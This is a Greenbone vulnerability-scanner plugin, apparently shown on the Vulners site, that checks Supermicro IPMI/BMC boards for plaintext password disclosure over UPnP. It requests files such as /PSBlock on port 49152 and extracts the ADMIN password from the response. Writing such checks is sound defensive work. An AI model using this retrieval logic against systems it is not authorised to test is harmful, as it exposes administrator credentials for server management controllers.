# SPDX-FileCopyrightText: 2014 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
if (description)
{
script_oid("1.3.6.1.4.1.25623.1.0.105049");
script_version("2026-04-30T06:27:06+0000");
script_tag(name:"cvss_base", value:"7.5");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
script_tag(name:"last_modification", value:"2026-04-30 06:27:06 +0000 (Thu, 30 Apr 2026)");
script_tag(name:"creation_date", value:"2014-06-20 18:08:51 +0200 (Fri, 20 Jun 2014)");
script_name("Supermicro IPMI/BMC Plaintext Password Disclosure Vulnerability (UPnP) - Active Check");
script_category(ACT_ATTACK);
script_family("Web application abuses");
script_copyright("Copyright (C) 2014 Greenbone AG");
script_dependencies("gb_upnp_tcp_detect.nasl");
script_require_ports("Services/upnp", 49152);
script_mandatory_keys("upnp/tcp/detected");
script_xref(name:"URL", value:"https://cari.net/carisirt-yet-another-bmc-vulnerability-and-some-added-extras/");
script_xref(name:"URL", value:"https://cari.net/carisirt-supermicro-credential-exposure-reviewed/");
script_tag(name:"summary", value:"Supermicro IPMI/BMC devices are prone to a plaintext password
disclosure vulnerability.");
script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");
script_tag(name:"insight", value:"BMCs in Supermicro motherboards contain a binary file that
stores remote login passwords in clear text. This file could be retrieved by requesting /PSBlock
on port 49152.");
script_tag(name:"impact", value:"Successful exploitation will allow attackers to obtain sensitive
information that may aid in further attacks.");
script_tag(name:"affected", value:"Motherboards manufactured by Supermicro.");
script_tag(name:"solution", value:"Ask the vendor for an update.");
script_tag(name:"qod_type", value:"remote_vul");
script_tag(name:"solution_type", value:"VendorFix");
exit(0);
}
include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("dump.inc");
function get_pass( data ) {
local_var data;
local_var off, pass;
if( ! data )
return FALSE;
off = stridx( data, "ADMIN" );
pass = eregmatch( pattern:"^([[:print:]]+)", string:substr( data, off + 5 + 11 ) );
if( isnull( pass[1] ) )
return FALSE;
return pass[1];
}
port = service_get_port( default:49152, ipproto:"tcp", proto:"upnp" );
url = "/IPMIdevicedesc.xml";
buf = http_get_cache( item:url, port:port );
if( ! buf || "supermicro" >!< buf )
exit( 99 );
urls = make_list( "/PSBlock", "/PSStore", "/PMConfig.dat", "/wsman/simple_auth.passwd" );
foreach url( urls ) {
req = http_get( item:url, port:port );
buf = http_send_recv( port:port, data:req, bodyonly:FALSE );
if( buf && buf =~ "^HTTP/1\.[01] 200" && "ADMIN" >< buf && "octet-stream" >< buf ) {
if( pass = get_pass( data:buf ) ) {
report = 'By requesting the url ' + url + ' it was possible to retrieve the password "' + pass + '" for the user "ADMIN"';
expert_info = 'Request:\n' + req + 'Response (hexdump):\n' + hexdump( ddata:substr( buf, 0, 600 ) ) + "[truncated]";
security_message( port:port, data:report, expert_info:expert_info );
exit( 0 );
}
}
}
exit( 99 );
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation